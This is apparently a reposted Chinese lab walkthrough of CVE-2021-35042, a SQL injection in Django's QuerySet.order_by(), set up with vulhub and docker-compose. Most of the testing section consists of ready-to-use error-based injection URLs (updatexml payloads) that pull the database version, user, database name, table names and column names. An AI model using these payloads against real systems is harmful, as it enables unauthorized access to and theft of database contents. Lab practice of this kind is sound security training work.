ToB企服应用市场:ToB评测及商务社交产业平台

标题: Python 开辟框架安全：Django SQL注入漏洞测试.（CVE-2021-35042） [打印本页]

作者: 罪恶克星 时间: 2024-6-21 13:03
标题: Python 开辟框架安全：Django SQL注入漏洞测试.（CVE-2021-35042）
什么是 Django 框架

Django 是一个用 Python 编写的 Web 应用程序框架。它提供了很多工具和库，使得开辟 Web 应用程序变得更加轻易和高效。Django 遵循了“MTV”（模型-模板-视图）的设计模式，将应用程序的不同组件分脱离来，使得开辟人员可以更加专注于应用程序的不同方面。Django 组件存在 SQL 注入漏洞，该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不敷，攻击者可利用该漏洞在未授权的环境下，构造恶意数据实验 SQL 注入攻击，终极造成服务器敏感信息泄漏。

目次：

什么是 Django 框架
开启漏洞靶场：
（1）查看目次：
（2）启用 vulhub 漏洞：
（3）进行欣赏：主机的 8000 端口.
进行漏洞测试：
（1）寻找 URL 有输入点的地方就行：
（2）构造报错注入进行攻击获取数据：（查询根目次信息）
（3）构造报错注入进行攻击获取数据：（查询数据库版本信息）
（4）构造报错注入进行攻击获取数据：（查当前用户）
（5）构造报错注入进行攻击获取数据：（查当前数据库）
（6）构造报错注入进行攻击获取数据：（查表）
（7）构造报错注入进行攻击获取数据：（查字段）

开启漏洞靶场：

Web安全：iwebsec || vulhub 靶场搭建.（各种漏洞环境集合，一键搭建漏洞测试靶场）_iwebsec靶场-CSDN博客

（1）查看目次：

（1）cd vulhub
（2）ls

复制代码

（2）启用 vulhub 漏洞：

（1）cd django // 切换到对应的漏洞目录.
（2）cd CVE-2021-35042 // 切换到对应的漏洞版本.
（3）docker-compose build // 建立容器
（4）docker-compose up -d // 启用漏洞环境.
（5）docker ps // 查看环境运行状态

复制代码

（3）进行欣赏：主机的 8000 端口.

进行漏洞测试：

（1）怎么测试框架类型.（欣赏器安装插件检测 Wappalyzer ）

（2）寻找 URL 有输入点的地方就行：

例如：
http://172.16.10.19:8000//vuln/?order=后面就是写SQL语句的查询.

复制代码

（3）构造报错注入进行攻击获取数据：（查询根目次信息）

/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23

复制代码

（4）构造报错注入进行攻击获取数据：（查询数据库版本信息）

/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

复制代码

（5）构造报错注入进行攻击获取数据：（查当前用户）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20user%28%29%29%29,1%29%23

复制代码

（6）构造报错注入进行攻击获取数据：（查当前数据库）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20database%28%29%29%29,1%29%23

复制代码

（7）构造报错注入进行攻击获取数据：（查表）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,%20concat%280x7e,%28select%20group_concat%28table_name%29%20from%20information_schema.tables%20where%20table_schema=database%28%29%29%29,1%29%23

复制代码

（8）构造报错注入进行攻击获取数据：（查字段）

http://172.16.10.19:8000/vuln/?order=vuln_collection.name%29;select%20updatexml%281,concat%280x5c,%28select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1%29,0x5c%29,1%29%23

复制代码

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)